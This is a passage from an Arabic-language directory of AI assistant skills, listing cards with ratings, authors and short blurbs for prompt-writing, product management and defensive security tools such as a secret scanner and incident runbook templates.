كتابة موجهات واضحة صعبة عندما تكون الأهداف غامضة أو معقدة. تحوّل هذه المهارة الطلبات الأولية إلى موجهات منظمة باستخدام أطر عمل مثبتة للموجهات.
الإنتاجية عرض
📦
product-manager-toolkit
80رتّب أولويات عمل المنتج باستخدام رؤى البحث
تحتاج فرق المنتج إلى طرق أسرع لترتيب الميزات، وتلخيص المقابلات، وتوثيق القرارات. توفر هذه المهارة تسجيل RICE، وتحليل المقابلات، وقوالب PRD للتخطيط المنظم.
الإنتاجية عرض
مهارات ذات صلة
عرض الكل📦
security-engineering
81تعزيز قرارات هندسة الأمن
بواسطة 89jobrien
غالبا ما يمتد العمل الأمني عبر البنية المعمارية، والهوية، والامتثال، والاختبار، وتخطيط الاستجابة. تمنح هذه المهارة Claude وCodex وClaude Code إرشادات منظمة في هندسة الأمن.
الأمان والامتثال عرض
📦
incident-runbook-templates
78إنشاء أدلة تشغيل للحوادث
بواسطة wshobson
تحتاج فرق الحوادث إلى خطوات استجابة واضحة قبل بدء الانقطاع. تساعد هذه المهارة Claude وCodex وClaude Code على صياغة أدلة تشغيل منظمة تتضمن أقسام الفرز، والتخفيف، والتصعيد، والتواصل.
الأمان والامتثال عرض
📦
secret-scanner
77اكتشاف الأسرار المكشوفة في الكود
بواسطة CuriousLearner
يمكن أن تمنح بيانات الاعتماد المسرّبة المهاجمين وصولًا إلى حسابات السحابة وقواعد البيانات وأنظمة الدفع. تساعد هذه المهارة Claude وCodex وClaude Code على العثور على الأسرار المحتملة وإنتاج خطوات معالجة واضحة.
الأمان والامتثال عرض
📦
security-engineer
38Audit Systems and Applications Securely
بواسطة zl2023github
Security reviews require consistent scope, evidence, and remediation guidance across many tools. This skill provides practical workflows for authorized assessment, monitoring, hardening, and reporting.
الأمان والامتثال عرض
📦
what-leaked-about-you
38Assess Your Data Breach Exposure
بواسطة useosint
Breach results are difficult to verify, interpret, and handle without exposing sensitive data. This skill provides a structured workflow for authorized analysis and reporting.
الأمان والامتثال عرض
📦
security-compliance
38تقييم جاهزية الامتثال الأمني
بواسطة davila7
تحتاج فرق الأمن إلى سير عمل واضحة لإدارة المخاطر والضوابط والحوادث وعمليات التدقيق. توفر هذه المهارة إرشادات منظمة وقوالب ونصوصا برمجية لأعمال امتثال أمني قابلة للدفاع عنها.
الأمان والامتثال عرض